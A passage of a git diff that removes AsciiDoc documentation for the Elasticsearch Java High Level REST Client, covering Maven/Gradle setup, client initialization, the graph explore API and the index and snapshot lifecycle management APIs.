-        <name>elasticsearch snapshot repo</name>
-        <url>https://snapshots.elastic.co/maven/</url>
-    </repository>
-</repositories>
---------------------------------------------------
-
-or in Gradle:
-
-["source","groovy",subs="attributes"]
---------------------------------------------------
-maven {
-        url "https://snapshots.elastic.co/maven/"
-}
---------------------------------------------------
-
-[[java-rest-high-getting-started-maven-maven]]
-==== Maven configuration
-
-Here is how you can configure the dependency using maven as a dependency manager.
-Add the following to your `pom.xml` file:
-
-["source","xml",subs="attributes"]
---------------------------------------------------
-<dependency>
-    <groupId>org.elasticsearch.client</groupId>
-    <artifactId>elasticsearch-rest-high-level-client</artifactId>
-    <version>{version}</version>
-</dependency>
---------------------------------------------------
-
-[[java-rest-high-getting-started-maven-gradle]]
-==== Gradle configuration
-
-Here is how you can configure the dependency using gradle as a dependency manager.
-Add the following to your `build.gradle` file:
-
-["source","groovy",subs="attributes"]
---------------------------------------------------
-dependencies {
-    compile 'org.elasticsearch.client:elasticsearch-rest-high-level-client:{version}'
-}
---------------------------------------------------
-
-[[java-rest-high-getting-started-maven-lucene]]
-==== Lucene Snapshot repository
-
-The very first releases of any major version (like a beta), might have been built on top of a Lucene Snapshot version.
-In such a case you will be unable to resolve the Lucene dependencies of the client.
-
-For example, if you want to use the `7.0.0-beta1` version which depends on Lucene `8.0.0-snapshot-83f9835`, you must
-define the following repository.
-
-For Maven:
-
-["source","xml",subs="attributes"]
---------------------------------------------------
-<repository>
-    <id>elastic-lucene-snapshots</id>
-    <name>Elastic Lucene Snapshots</name>
-    <url>https://s3.amazonaws.com/download.elasticsearch.org/lucenesnapshots/83f9835</url>
-    <releases><enabled>true</enabled></releases>
-    <snapshots><enabled>false</enabled></snapshots>
-</repository>
---------------------------------------------------
-
-For Gradle:
-
-["source","groovy",subs="attributes"]
---------------------------------------------------
-maven {
-    name 'lucene-snapshots'
-    url 'https://s3.amazonaws.com/download.elasticsearch.org/lucenesnapshots/83f9835'
-}
---------------------------------------------------
-
-[[java-rest-high-getting-started-dependencies]]
-=== Dependencies
-
-The High Level Java REST Client depends on the following artifacts and their
-transitive dependencies:
-
-- org.elasticsearch.client:elasticsearch-rest-client
-- org.elasticsearch:elasticsearch
-
-
-[[java-rest-high-getting-started-initialization]]
-=== Initialization
-
-A `RestHighLevelClient` instance needs a <<java-rest-low-usage-initialization,REST low-level client builder>>
-to be built as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MiscellaneousDocumentationIT.java[rest-high-level-client-init]
---------------------------------------------------
-
-The high-level client will internally create the low-level client used to
-perform requests based on the provided builder. That low-level client
-maintains a pool of connections and starts some threads so you should
-close the high-level client when you are well and truly done with
-it and it will in turn close the internal low-level client to free those
-resources. This can be done through the `close`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MiscellaneousDocumentationIT.java[rest-high-level-client-close]
---------------------------------------------------
-
-In the rest of this documentation about the Java High Level Client, the `RestHighLevelClient` instance
-will be referenced as `client`.
-
-[[java-rest-high-getting-started-request-options]]
-=== RequestOptions
-
-All APIs in the `RestHighLevelClient` accept a `RequestOptions` which you can
-use to customize the request in ways that won't change how Elasticsearch
-executes the request. For example, this is the place where you'd specify a
-`NodeSelector` to control which node receives the request. See the
-<<java-rest-low-usage-request-options,low level client documentation>> for
-more examples of customizing the options.
-
-[[java-rest-high-getting-started-asynchronous-usage]]
-=== Asynchronous usage
-
-All of the methods across the different clients exist in a traditional synchronous and 
-asynchronous variant. The difference is that the asynchronous ones use asynchronous requests 
-in the REST Low Level Client. This is useful if you are doing multiple requests or are using e.g.
-rx java, Kotlin co-routines, or similar frameworks.
-
-The asynchronous methods are recognizable by the fact that they have the word "Async" in their name 
-and return a `Cancellable` instance. The asynchronous methods accept the same request object 
-as the synchronous variant and accept a generic `ActionListener<T>` where `T` is the return 
-type of the synchronous method. 
-
-All asynchronous methods return a `Cancellable` object with a `cancel` method that you may call 
-in case you want to abort the request. Cancelling
-no longer needed requests is a good way to avoid putting unnecessary 
-load on Elasticsearch.
-
-Using the `Cancellable` instance is optional and you can safely ignore this if you have 
-no need for this. A use case for this would be using this with e.g. Kotlin's `suspendCancellableCoRoutine`. 
-
diff --git a/docs/java-rest/high-level/graph/explore.asciidoc b/docs/java-rest/high-level/graph/explore.asciidoc
deleted file mode 100644
index a178dfbc3a4..00000000000
--- a/docs/java-rest/high-level/graph/explore.asciidoc
+++ /dev/null
@@ -1,54 +0,0 @@
-[role="xpack"]
-[[java-rest-high-x-pack-graph-explore]]
-=== X-Pack Graph explore API
-
-[[java-rest-high-x-pack-graph-explore-execution]]
-==== Initial request
-
-Graph queries are executed using the `explore()` method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/GraphDocumentationIT.java[x-pack-graph-explore-request]
---------------------------------------------------
-<1> In this example we seed the exploration with a query to find messages mentioning the mysterious `projectx`
-<2> What we want to discover in these messages are the ids of `participants` in the communications and the md5 hashes
-of any attached files. In each case, we want to find people or files that have had at least one document connecting them
-to projectx.
-<3> The next "hop" in the graph exploration is to find the people who have shared several messages with the people or files
-discovered in the previous hop (the projectx conspirators). The `minDocCount` control is used here to ensure the people
-discovered have had at least 5 communications with projectx entities. Note we could also supply a "guiding query" here e.g. a 
-date range to consider only recent communications but we pass null to consider all connections.
-<4> Finally we call the graph explore API with the GraphExploreRequest object.  
-
-
-==== Response
-
-Graph responses consist of Vertex and Connection objects (aka "nodes" and "edges" respectively):
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/GraphDocumentationIT.java[x-pack-graph-explore-response]
---------------------------------------------------
-<1> Each Vertex is a unique term (a combination of fieldname and term value). The "hopDepth" property tells us at which point in the 
-requested exploration this term was first discovered. 
-<2> Each Connection is a pair of Vertex objects and includes a docCount property telling us how many times these two
-Vertex terms have been sighted together
-
-
-[[java-rest-high-x-pack-graph-expand-execution]]
-==== Expanding a client-side Graph
-
-Typically once an application has rendered an initial GraphExploreResponse as a collection of vertices and connecting lines (graph visualization toolkits such as D3, sigma.js or Keylines help here) the next step a user may want to do is "expand". This involves finding new vertices that might be connected to the existing ones currently shown.
-
-To do this we use the same `explore` method but our request contains details about which vertices to expand from and which vertices to avoid re-discovering. 
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/GraphDocumentationIT.java[x-pack-graph-explore-expand]
---------------------------------------------------
-<1> Unlike the initial request we do not need to pass a starting query
-<2> In the first hop which represents our "from" vertices we explicitly list the terms that we already have on-screen and want to expand by using the `addInclude` filter.
-We can supply a boost for those terms that are considered more important to follow than others but here we select a common value of 1 for all.
-<3> When defining the second hop which represents the "to" vertices we hope to discover we explicitly list the terms that we already know about using the `addExclude` filter
-
diff --git a/docs/java-rest/high-level/ilm/delete_lifecycle_policy.asciidoc b/docs/java-rest/high-level/ilm/delete_lifecycle_policy.asciidoc
deleted file mode 100644
index a68a2d9de5b..00000000000
--- a/docs/java-rest/high-level/ilm/delete_lifecycle_policy.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
---
-:api: ilm-delete-lifecycle-policy
-:request: DeleteLifecyclePolicyRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delete Lifecycle Policy API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Delete Lifecycle Policy API allows you to delete an Index Lifecycle
-Management Policy from the cluster.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The policy named `my_policy` will be deleted.
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the delete lifecycle policy request was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the delete lifecycle policy request was acknowledged.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ilm/delete_snapshot_lifecycle_policy.asciidoc b/docs/java-rest/high-level/ilm/delete_snapshot_lifecycle_policy.asciidoc
deleted file mode 100644
index 4079ac3dc08..00000000000
--- a/docs/java-rest/high-level/ilm/delete_snapshot_lifecycle_policy.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
---
-:api: slm-delete-snapshot-lifecycle-policy
-:request: DeleteSnapshotLifecyclePolicyRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delete Snapshot Lifecycle Policy API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Delete Snapshot Lifecycle Policy API allows you to delete a Snapshot Lifecycle Management Policy
-from the cluster.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The policy with the id `policy_id` will be deleted.
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the delete snapshot lifecycle policy request was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the delete snapshot lifecycle policy request was acknowledged.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ilm/execute_snapshot_lifecycle_policy.asciidoc b/docs/java-rest/high-level/ilm/execute_snapshot_lifecycle_policy.asciidoc
deleted file mode 100644
index b2c36a4e273..00000000000
--- a/docs/java-rest/high-level/ilm/execute_snapshot_lifecycle_policy.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
---
-:api: slm-execute-snapshot-lifecycle-policy
-:request: ExecuteSnapshotLifecyclePolicyRequest
-:response: ExecuteSnapshotLifecyclePolicyResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Execute Snapshot Lifecycle Policy API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Execute Snapshot Lifecycle Policy API allows you to execute a Snapshot Lifecycle Management
-Policy, taking a snapshot immediately.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The policy id to execute
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains the name of the snapshot that was created.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The created snapshot name
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ilm/execute_snapshot_lifecycle_retention.asciidoc b/docs/java-rest/high-level/ilm/execute_snapshot_lifecycle_retention.asciidoc
deleted file mode 100644
index 190f7be2092..00000000000
--- a/docs/java-rest/high-level/ilm/execute_snapshot_lifecycle_retention.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
---
-:api: slm-execute-snapshot-lifecycle-retention
-:request: ExecuteSnapshotLifecycleRetentionRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Execute Snapshot Lifecycle Retention API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Execute Snapshot Lifecycle Retention API allows you to execute Snapshot Lifecycle Management
-Retention immediately, rather than waiting for its regularly scheduled execution.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains a boolean for whether the request was
-acknowledged by the master node.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ilm/explain_lifecycle.asciidoc b/docs/java-rest/high-level/ilm/explain_lifecycle.asciidoc
deleted file mode 100644
index b85d482299a..00000000000
--- a/docs/java-rest/high-level/ilm/explain_lifecycle.asciidoc
+++ /dev/null
@@ -1,50 +0,0 @@
---
-:api: ilm-explain-lifecycle
-:request: ExplainLifecycleRequest
-:response: ExplainLifecycleResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Explain Lifecycle API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Explain Lifecycle API allows you to retrieve information about the execution
-of a Lifecycle Policy with respect to one or more indices.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Requests an explanation of policy execution for `my_index` and `other_index`
-
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains a map of `LifecyclePolicyMetadata`,
-accessible by the name of the policy, which contains data about each policy,
-as well as the policy definition.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The name of the policy in use for this index, if any. Will be `null` if the
-index does not have an associated policy.
-<2> Indicates whether this index is being managed by Index Lifecycle Management.
-<3> The Phase (`hot`, `warm`, etc.) this index is currently in. Will be `null` if
-the index is not managed by Index Lifecycle Management.
-<4> The time this index entered this Phase of execution.
-<5> The Action (`rollover`, `shrink`, etc.) this index is currently in. Will be `null` if
-the index is not managed by Index Lifecycle Management.
-<6> The Step this index is currently in. Will be `null` if
-the index is not managed by Index Lifecycle Management.
-<7> If this index is in the `ERROR` Step, this will indicate which Step failed.
-Otherwise, it will be `null`.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ilm/get_lifecycle_policy.asciidoc b/docs/java-rest/high-level/ilm/get_lifecycle_policy.asciidoc
deleted file mode 100644
index 506c2c736e5..00000000000
--- a/docs/java-rest/high-level/ilm/get_lifecycle_policy.asciidoc
+++ /dev/null
@@ -1,40 +0,0 @@
---
-:api: ilm-get-lifecycle-policy
-:request: GetLifecyclePolicyRequest
-:response: GetLifecyclePolicyResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get Lifecycle Policy API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Get Lifecycle Policy API allows you to retrieve the definition of an Index
-Lifecycle Management Policy from the cluster.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Gets all policies.
-<2> Gets `my_policy` and `other_policy`
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains a map of `LifecyclePolicyMetadata`,
-accessible by the name of the policy, which contains data about each policy,
-as well as the policy definition.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The retrieved policies are retrieved by name.
-<2> The policy definition itself.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ilm/get_snapshot_lifecycle_policy.asciidoc b/docs/java-rest/high-level/ilm/get_snapshot_lifecycle_policy.asciidoc
deleted file mode 100644
index da51760961c..00000000000
--- a/docs/java-rest/high-level/ilm/get_snapshot_lifecycle_policy.asciidoc
+++ /dev/null
@@ -1,39 +0,0 @@
---
-:api: slm-get-snapshot-lifecycle-policy
-:request: GetSnapshotLifecyclePolicyRequest
-:response: GetSnapshotLifecyclePolicyResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get Snapshot Lifecycle Policy API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Get Snapshot Lifecycle Policy API allows you to retrieve the definition of a Snapshot Lifecycle
-Management Policy from the cluster.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Gets all policies.
-<2> Gets `policy_id`
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains a map of `SnapshotLifecyclePolicyMetadata`, accessible by the id
-of the policy, which contains data about each policy, as well as the policy definition.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The retrieved policies are retrieved by id.
-<2> The policy definition itself.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ilm/get_snapshot_lifecycle_stats.asciidoc b/docs/java-rest/high-level/ilm/get_snapshot_lifecycle_stats.asciidoc
deleted file mode 100644
index c9ff0a9880c..00000000000
--- a/docs/java-rest/high-level/ilm/get_snapshot_lifecycle_stats.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
---
-:api: slm-get-snapshot-lifecycle-stats
-:request: GetSnapshotLifecycleStatsRequest
-:response: GetSnapshotLifecycleStatsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get Snapshot Lifecycle Stats API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Get Snapshot Lifecycle Stats API allows you to retrieve statistics about snapshots taken or
-deleted, as well as retention runs by the snapshot lifecycle service.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains global statistics as well as a map of `SnapshotPolicyStats`,
-accessible by the id of the policy, which contains statistics about each policy.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ilm/lifecycle_management_status.asciidoc b/docs/java-rest/high-level/ilm/lifecycle_management_status.asciidoc
deleted file mode 100644
index 6bf4344477e..00000000000
--- a/docs/java-rest/high-level/ilm/lifecycle_management_status.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
---
-:api: ilm-status
-:request: LifecycleManagementStatusRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Index Lifecycle Management Status API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Index Lifecycle Management Status API allows you to retrieve the status
-of Index Lifecycle Management
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates the status of Index Lifecycle Management.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The returned status can be `RUNNING`, `STOPPING`, or `STOPPED`.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ilm/put_lifecycle_policy.asciidoc b/docs/java-rest/high-level/ilm/put_lifecycle_policy.asciidoc
deleted file mode 100644
index 7947f54ffbc..00000000000
--- a/docs/java-rest/high-level/ilm/put_lifecycle_policy.asciidoc
+++ /dev/null
@@ -1,38 +0,0 @@
---
-:api: ilm-put-lifecycle-policy
-:request: PutLifecyclePolicyRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Put Lifecycle Policy API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Put Lifecycle Policy API allows you to add an Index Lifecycle Management
-Policy to the cluster.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Adds a hot phase with a rollover action
-<2> Adds a delete phase that will delete in the index 90 days after rollover
-<3> Creates the policy with the defined phases and the name `my_policy`
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the put lifecycle policy request was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the put lifecycle policy was acknowledged.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ilm/put_snapshot_lifecycle_policy.asciidoc b/docs/java-rest/high-level/ilm/put_snapshot_lifecycle_policy.asciidoc
deleted file mode 100644
index 13a0bb6e782..00000000000
--- a/docs/java-rest/high-level/ilm/put_snapshot_lifecycle_policy.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
---
-:api: slm-put-snapshot-lifecycle-policy
-:request: PutSnapshotLifecyclePolicyRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Put Snapshot Lifecycle Policy API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Put Snapshot Lifecycle Policy API allows you to add of update the definition of a Snapshot
-Lifecycle Management Policy in the cluster.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the put snapshot lifecycle policy request was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the put snapshot lifecycle policy was acknowledged.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ilm/remove_lifecycle_policy_from_index.asciidoc b/docs/java-rest/high-level/ilm/remove_lifecycle_policy_from_index.asciidoc
deleted file mode 100644
index 4b12e89d6aa..00000000000
--- a/docs/java-rest/high-level/ilm/remove_lifecycle_policy_from_index.asciidoc
+++ /dev/null
@@ -1,38 +0,0 @@
---
-:api: ilm-remove-lifecycle-policy-from-index
-:request: RemoveIndexLifecyclePolicyRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Remove Policy from Index API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-Removes the assigned lifecycle policy from an index.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> removes the `my_policy` policy from `my_index`
-
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the request to remove
-the lifecycle policy from the index was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not there were any policies failed
-to be removed from any indices from the request
-<2> A list of index names which are still managed
-by their policies.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ilm/retry_lifecycle_policy.asciidoc b/docs/java-rest/high-level/ilm/retry_lifecycle_policy.asciidoc
deleted file mode 100644
index 2798b1fecfd..00000000000
--- a/docs/java-rest/high-level/ilm/retry_lifecycle_policy.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
---
-:api: ilm-retry-lifecycle-policy
-:request: RetryLifecyclePolicyRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Retry Lifecycle Policy API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Retry Lifecycle Policy API allows you to invoke execution of policies
-that encountered errors in certain indices.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Retries execution of `my_index`'s policy
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the retry lifecycle policy request was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the lifecycle policy retry was acknowledged.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ilm/snapshot_lifecycle_management_status.asciidoc b/docs/java-rest/high-level/ilm/snapshot_lifecycle_management_status.asciidoc
deleted file mode 100644
index ae6986711bc..00000000000
--- a/docs/java-rest/high-level/ilm/snapshot_lifecycle_management_status.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
---
-:api: slm-status
-:request: SnapshotLifecycleManagementStatusRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Snapshot Lifecycle Management Status API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Snapshot Lifecycle Management Status API allows you to retrieve the status
-of Snapshot Lifecycle Management
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates the status of Snapshot Lifecycle Management.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The returned status can be `RUNNING`, `STOPPING`, or `STOPPED`.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ilm/start_lifecycle_management.asciidoc b/docs/java-rest/high-level/ilm/start_lifecycle_management.asciidoc
deleted file mode 100644
index 20a77259663..00000000000
--- a/docs/java-rest/high-level/ilm/start_lifecycle_management.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
---
-:api: ilm-start-ilm
-:request: StartILMRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Start Index Lifecycle Management API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Start Lifecycle Management API allows you to start Index Lifecycle
-Management if it has previously been stopped.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the request to start Index Lifecycle
-Management was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the request to start Index Lifecycle Management was
-acknowledged.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ilm/start_snapshot_lifecycle_management.asciidoc b/docs/java-rest/high-level/ilm/start_snapshot_lifecycle_management.asciidoc
deleted file mode 100644
index b359f237ea5..00000000000
--- a/docs/java-rest/high-level/ilm/start_snapshot_lifecycle_management.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
---
-:api: slm-start-slm
-:request: StartSLMRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Start Snapshot Lifecycle Management API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Start Snapshot Lifecycle Management API allows you to start Snapshot
-Lifecycle Management if it has previously been stopped.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the request to start Snapshot Lifecycle
-Management was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the request to start Snapshot Lifecycle Management was
-acknowledged.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ilm/stop_lifecycle_management.asciidoc b/docs/java-rest/high-level/ilm/stop_lifecycle_management.asciidoc
deleted file mode 100644
index 04c30e1012f..00000000000
--- a/docs/java-rest/high-level/ilm/stop_lifecycle_management.asciidoc
+++ /dev/null
@@ -1,38 +0,0 @@
---
-:api: ilm-stop-ilm
-:request: StopILMRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Stop Index Lifecycle Management API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Stop Lifecycle Management API allows you to stop Index Lifecycle
-Management temporarily.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the request to stop Index Lifecycle
-Management was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the request to stop Index Lifecycle Management was
-acknowledged.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/ilm/stop_snapshot_lifecycle_management.asciidoc b/docs/java-rest/high-level/ilm/stop_snapshot_lifecycle_management.asciidoc
deleted file mode 100644
index 3f54341d430..00000000000
--- a/docs/java-rest/high-level/ilm/stop_snapshot_lifecycle_management.asciidoc
+++ /dev/null
@@ -1,38 +0,0 @@
---
-:api: slm-stop-slm
-:request: StopSLMRequest
-:response: AcknowledgedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Stop Snapshot Lifecycle Management API
-
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Stop Snapshot Management API allows you to stop Snapshot Lifecycle
-Management temporarily.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the request to stop Snapshot
-Lifecycle Management was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the request to stop Snapshot Lifecycle Management was
-acknowledged.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/index.asciidoc b/docs/java-rest/high-level/index.asciidoc
deleted file mode 100644
index 21d78da171c..00000000000
--- a/docs/java-rest/high-level/index.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
-:mainid: java-rest-high
-
-[id="{mainid}"]
-= Java High Level REST Client
-
-[partintro]
---
-added[6.0.0-beta1]
-
-The Java High Level REST Client works on top of the Java Low Level REST client.
